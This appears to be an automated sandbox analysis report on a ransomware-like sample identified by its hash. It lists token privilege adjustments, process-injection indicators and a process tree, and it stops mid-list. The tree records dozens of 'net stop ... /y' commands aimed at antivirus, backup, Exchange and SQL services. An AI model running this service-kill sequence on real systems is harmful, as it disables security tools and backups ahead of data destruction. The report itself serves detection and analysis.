Token: SeShutdownPrivilege	4720	wmic.exe
Token: SeDebugPrivilege	4720	wmic.exe
Token: SeSystemEnvironmentPrivilege	4720	wmic.exe
Token: SeRemoteShutdownPrivilege	4720	wmic.exe
Token: SeUndockPrivilege	4720	wmic.exe
Token: SeManageVolumePrivilege	4720	wmic.exe
Token: 33	4720	wmic.exe
Token: 34	4720	wmic.exe
Token: 35	4720	wmic.exe
Token: 36	4720	wmic.exe
Token: SeIncreaseQuotaPrivilege	4720	wmic.exe
Token: SeSecurityPrivilege	4720	wmic.exe
Token: SeTakeOwnershipPrivilege	4720	wmic.exe
Token: SeLoadDriverPrivilege	4720	wmic.exe
Token: SeSystemProfilePrivilege	4720	wmic.exe
Token: SeSystemtimePrivilege	4720	wmic.exe
Token: SeProfSingleProcessPrivilege	4720	wmic.exe
Token: SeIncBasePriorityPrivilege	4720	wmic.exe
Token: SeCreatePagefilePrivilege	4720	wmic.exe
Token: SeBackupPrivilege	4720	wmic.exe
Token: SeRestorePrivilege	4720	wmic.exe
Token: SeShutdownPrivilege	4720	wmic.exe
Token: SeDebugPrivilege	4720	wmic.exe
Token: SeSystemEnvironmentPrivilege	4720	wmic.exe
Token: SeRemoteShutdownPrivilege	4720	wmic.exe
Token: SeUndockPrivilege	4720	wmic.exe
Token: SeManageVolumePrivilege	4720	wmic.exe
Token: 33	4720	wmic.exe
Token: 34	4720	wmic.exe
Token: 35	4720	wmic.exe
Token: 36	4720	wmic.exe
Token: SeDebugPrivilege	1196	MicrosoftEdge.exe
Token: SeDebugPrivilege	1196	MicrosoftEdge.exe
Token: SeDebugPrivilege	1196	MicrosoftEdge.exe
Token: SeDebugPrivilege	1196	MicrosoftEdge.exe
Token: SeDebugPrivilege	424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1196	MicrosoftEdge.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

1196 MicrosoftEdge.exe
952 MicrosoftEdgeCP.exe
952 MicrosoftEdgeCP.exe
1124 MicrosoftEdge.exe
3820 MicrosoftEdgeCP.exe
3820 MicrosoftEdgeCP.exe

pid	process
1196	MicrosoftEdge.exe
952	MicrosoftEdgeCP.exe
952	MicrosoftEdgeCP.exe
1124	MicrosoftEdge.exe
3820	MicrosoftEdgeCP.exe
3820	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 2776 wrote to memory of 2796	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 2796	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 2796	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2796 wrote to memory of 3832	2796	net.exe	net1.exe
PID 2796 wrote to memory of 3832	2796	net.exe	net1.exe
PID 2796 wrote to memory of 3832	2796	net.exe	net1.exe
PID 2776 wrote to memory of 3108	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 3108	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 3108	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3108 wrote to memory of 3312	3108	net.exe	net1.exe
PID 3108 wrote to memory of 3312	3108	net.exe	net1.exe
PID 3108 wrote to memory of 3312	3108	net.exe	net1.exe
PID 2776 wrote to memory of 1668	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 1668	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 1668	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1668 wrote to memory of 712	1668	net.exe	net1.exe
PID 1668 wrote to memory of 712	1668	net.exe	net1.exe
PID 1668 wrote to memory of 712	1668	net.exe	net1.exe
PID 2776 wrote to memory of 1376	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 1376	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 1376	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1376 wrote to memory of 2268	1376	net.exe	net1.exe
PID 1376 wrote to memory of 2268	1376	net.exe	net1.exe
PID 1376 wrote to memory of 2268	1376	net.exe	net1.exe
PID 2776 wrote to memory of 1692	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 1692	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 1692	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1692 wrote to memory of 3980	1692	net.exe	net1.exe
PID 1692 wrote to memory of 3980	1692	net.exe	net1.exe
PID 1692 wrote to memory of 3980	1692	net.exe	net1.exe
PID 2776 wrote to memory of 496	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 496	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 496	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 496 wrote to memory of 3464	496	net.exe	net1.exe
PID 496 wrote to memory of 3464	496	net.exe	net1.exe
PID 496 wrote to memory of 3464	496	net.exe	net1.exe
PID 2776 wrote to memory of 1608	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 1608	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 1608	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1608 wrote to memory of 3680	1608	net.exe	net1.exe
PID 1608 wrote to memory of 3680	1608	net.exe	net1.exe
PID 1608 wrote to memory of 3680	1608	net.exe	net1.exe
PID 2776 wrote to memory of 3596	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 3596	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 3596	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3596 wrote to memory of 1012	3596	net.exe	net1.exe
PID 3596 wrote to memory of 1012	3596	net.exe	net1.exe
PID 3596 wrote to memory of 1012	3596	net.exe	net1.exe
PID 2776 wrote to memory of 3468	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 3468	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 3468	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 3468 wrote to memory of 1652	3468	net.exe	net1.exe
PID 3468 wrote to memory of 1652	3468	net.exe	net1.exe
PID 3468 wrote to memory of 1652	3468	net.exe	net1.exe
PID 2776 wrote to memory of 2840	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 2840	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 2840	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2840 wrote to memory of 400	2840	net.exe	net1.exe
PID 2840 wrote to memory of 400	2840	net.exe	net1.exe
PID 2840 wrote to memory of 400	2840	net.exe	net1.exe
PID 2776 wrote to memory of 608	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 608	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 2776 wrote to memory of 608	2776	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 608 wrote to memory of 436	608	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776

C:\Windows\SysWOW64\net.exe
net stop Acronis VSS Provider /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Acronis VSS Provider /y
3⤵
PID:3832

C:\Windows\SysWOW64\net.exe
net stop Enterprise Client Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Enterprise Client Service /y
3⤵
PID:3312

C:\Windows\SysWOW64\net.exe
net stop Sophos Agent /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Agent /y
3⤵
PID:712

C:\Windows\SysWOW64\net.exe
net stop Sophos AutoUpdate Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1376

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos AutoUpdate Service /y
3⤵
PID:2268

C:\Windows\SysWOW64\net.exe
net stop Sophos Clean Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Clean Service /y
3⤵
PID:3980

C:\Windows\SysWOW64\net.exe
net stop Sophos Device Control Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:496

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Device Control Service /y
3⤵
PID:3464

C:\Windows\SysWOW64\net.exe
net stop Sophos File Scanner Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1608

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos File Scanner Service /y
3⤵
PID:3680

C:\Windows\SysWOW64\net.exe
net stop Sophos Health Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Health Service /y
3⤵
PID:1012

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Agent /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3468

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Agent /y
3⤵
PID:1652

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Client /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Client /y
3⤵
PID:400

C:\Windows\SysWOW64\net.exe
net stop Sophos Message Router /y
2⤵
- Suspicious use of WriteProcessMemory
PID:608

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Message Router /y
3⤵
PID:436

C:\Windows\SysWOW64\net.exe
net stop Sophos SafeStore Service /y
2⤵
PID:2380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos SafeStore Service /y
3⤵
PID:840

C:\Windows\SysWOW64\net.exe
net stop Sophos Protection System Service /y
2⤵
PID:984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Protection System Service /y
3⤵
PID:2432

C:\Windows\SysWOW64\net.exe
net stop Sophos Web Control Service /y
2⤵
PID:3512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Web Control Service /y
3⤵
PID:2984

C:\Windows\SysWOW64\net.exe
net stop SQLsafe /y
2⤵
PID:1740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe /y
3⤵
PID:2040

C:\Windows\SysWOW64\net.exe
net stop SQLsafe Filter Service /y
2⤵
PID:2036

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe Filter Service /y
3⤵
PID:2244

C:\Windows\SysWOW64\net.exe
net stop Symantec System Recovery /y
2⤵
PID:2260

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Symantec System Recovery /y
3⤵
PID:3096

C:\Windows\SysWOW64\net.exe
net stop Veeam Backup Service Data Catalog /y
2⤵
PID:2924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y
3⤵
PID:3760

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent /y
2⤵
PID:3936

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:1744

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc /y
2⤵
PID:1184

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:2400

C:\Windows\SysWOW64\net.exe
net stop Antivirus /y
2⤵
PID:3132

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
3⤵
PID:3140

C:\Windows\SysWOW64\net.exe
net stop ARSM /y
2⤵
PID:4080

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ARSM /y
3⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentAccelerator /y
2⤵
PID:1472

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
3⤵
PID:3012

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentBrowser /y
2⤵
PID:3832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:3320

C:\Windows\SysWOW64\net.exe
net stop BackupExecDeviceMediaService /y
2⤵
PID:2712

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
3⤵
PID:1060

C:\Windows\SysWOW64\net.exe
net stop BackupExecJobEngine /y
2⤵
PID:1016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:1228

C:\Windows\SysWOW64\net.exe
net stop BackupExecManagementService /y
2⤵
PID:1196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:3984

C:\Windows\SysWOW64\net.exe
net stop BackupExecRPCService /y
2⤵
PID:2324

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:3884

C:\Windows\SysWOW64\net.exe
net stop BackupExecVSSProvider /y
2⤵
PID:1596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:988

C:\Windows\SysWOW64\net.exe
net stop bedbg /y
2⤵
PID:3180

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
3⤵
PID:3588

C:\Windows\SysWOW64\net.exe
net stop DCAgent /y
2⤵
PID:1636

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
3⤵
PID:1652

C:\Windows\SysWOW64\net.exe
net stop EPSecurityService /y
2⤵
PID:400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
3⤵
PID:420

C:\Windows\SysWOW64\net.exe
net stop EPUpdateService /y
2⤵
PID:1208

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
3⤵
PID:1420

C:\Windows\SysWOW64\net.exe
net stop EraserSvc11710 /y
2⤵
PID:1480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EraserSvc11710 /y
3⤵
PID:1380

C:\Windows\SysWOW64\net.exe
net stop EsgShKernel /y
2⤵
PID:2216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
3⤵
PID:1564

C:\Windows\SysWOW64\net.exe
net stop FA_Scheduler /y
2⤵
PID:1336

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
3⤵
PID:3628

C:\Windows\SysWOW64\net.exe
net stop IISAdmin /y
2⤵
PID:3392

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IISAdmin /y
3⤵
PID:2124

C:\Windows\SysWOW64\net.exe
net stop IMAP4Svc /y
2⤵
PID:1976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IMAP4Svc /y
3⤵
PID:2556

C:\Windows\SysWOW64\net.exe
net stop macmnsvc /y
2⤵
PID:2912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
3⤵
PID:3692

C:\Windows\SysWOW64\net.exe
net stop masvc /y
2⤵
PID:3540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop masvc /y
3⤵
PID:1928

C:\Windows\SysWOW64\net.exe
net stop MBAMService /y
2⤵
PID:1660

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
3⤵
PID:1688

C:\Windows\SysWOW64\net.exe
net stop MBEndpointAgent /y
2⤵
PID:2316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBEndpointAgent /y
3⤵
PID:3200

C:\Windows\SysWOW64\net.exe
net stop McAfeeEngineService /y
2⤵
PID:3164

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeEngineService /y
3⤵
PID:1520

C:\Windows\SysWOW64\net.exe
net stop McAfeeFramework /y
2⤵
PID:2820

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFramework /y
3⤵
PID:4012

C:\Windows\SysWOW64\net.exe
net stop McAfeeFrameworkMcAfeeFramework /y
2⤵
PID:3824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
3⤵
PID:3128

C:\Windows\SysWOW64\net.exe
net stop McShield /y
2⤵
PID:3016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McShield /y
3⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net stop McTaskManager /y
2⤵
PID:736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
3⤵
PID:1244

C:\Windows\SysWOW64\net.exe
net stop mfemms /y
2⤵
PID:1248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfemms /y
3⤵
PID:2928

C:\Windows\SysWOW64\net.exe
net stop mfevtp /y
2⤵
PID:520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfevtp /y
3⤵
PID:424

C:\Windows\SysWOW64\net.exe
net stop MMS /y
2⤵
PID:3464

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MMS /y
3⤵
PID:3600

C:\Windows\SysWOW64\net.exe
net stop mozyprobackup /y
2⤵
PID:3060

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
3⤵
PID:1776

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer /y
2⤵
PID:588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer /y
3⤵
PID:1172

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer100 /y
2⤵
PID:1152

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer100 /y
3⤵
PID:2724

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer110 /y
2⤵
PID:2852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
3⤵
PID:1212

C:\Windows\SysWOW64\net.exe
net stop MSExchangeES /y
2⤵
PID:3124

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeES /y
3⤵
PID:1148

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIS /y
2⤵
PID:1088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS /y
3⤵
PID:1876

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMGMT /y
2⤵
PID:2040

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
3⤵
PID:1820

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMTA /y
2⤵
PID:2120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMTA /y
3⤵
PID:4068

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSA /y
2⤵
PID:512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
3⤵
PID:64

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSRS /y
2⤵
PID:3064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
3⤵
PID:408

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SQL_2008 /y
2⤵
PID:2932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y
3⤵
PID:3604

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SYSTEM_BGC /y
2⤵
PID:3448

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y
3⤵
PID:1788

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPS /y
2⤵
PID:3216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPS /y
3⤵
PID:3816

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPSAMA /y
2⤵
PID:3764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y
3⤵
PID:2284

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ BKUPEXEC /y
2⤵
PID:3496

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y
3⤵
PID:1884

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ ECWDB2 /y
2⤵
PID:1932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y
3⤵
PID:1020

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTICEMGT /y
2⤵
PID:668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y
3⤵
PID:3120

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTTICEBGC /y
2⤵
PID:2988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y
3⤵
PID:2972

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROFXENGAGEMENT /y
2⤵
PID:3796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y
3⤵
PID:1748

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SBSMONITORING /y
2⤵
PID:988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y
3⤵
PID:1952

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SHAREPOINT /y
2⤵
PID:1172

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y
3⤵
PID:2700

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQL_2008 /y
2⤵
PID:392

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y
3⤵
PID:1204

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SYSTEM_BGC /y
2⤵
PID:1148

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y
3⤵
PID:1312

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPS /y
2⤵
PID:1096

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPS /y
3⤵
PID:1820

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPSAMA /y
2⤵
PID:1304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPSAMA /y
3⤵
PID:3116

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
2⤵
PID:1956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:3652

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2012 /y
2⤵
PID:1980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y
3⤵
PID:2392

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher /y
2⤵
PID:2980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher /y
3⤵
PID:2800

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
2⤵
PID:1524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
3⤵
PID:1788

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SBSMONITORING /y
2⤵
PID:3828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y
3⤵
PID:3012

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SHAREPOINT /y
2⤵
PID:3220

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y
3⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SQL_2008 /y
2⤵
PID:3188

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y
3⤵
PID:3860

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SYSTEM_BGC /y
2⤵
PID:2240

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y
3⤵
PID:2916

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPS /y
2⤵
PID:3160

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y
3⤵
PID:1600

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPSAMA /y
2⤵
PID:1748

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y
3⤵
PID:1792

C:\Windows\SysWOW64\net.exe
net stop MSSQLSERVER /y
2⤵
PID:2448

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
3⤵
PID:2704

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100 /y
2⤵
PID:2724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
3⤵
PID:1212

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerOLAPService /y
2⤵
PID:1204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
3⤵
PID:2388

C:\Windows\SysWOW64\net.exe
net stop MySQL80 /y
2⤵
PID:1564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL80 /y
3⤵
PID:3612

C:\Windows\SysWOW64\net.exe
net stop MySQL57 /y
2⤵
PID:1700

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
3⤵
PID:2808

C:\Windows\SysWOW64\net.exe
net stop ntrtscan /y
2⤵
PID:3652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
3⤵
PID:1292

C:\Windows\SysWOW64\net.exe
net stop OracleClientCache80 /y
2⤵
PID:800

C:\Windows\SysWOW64\net1.exe
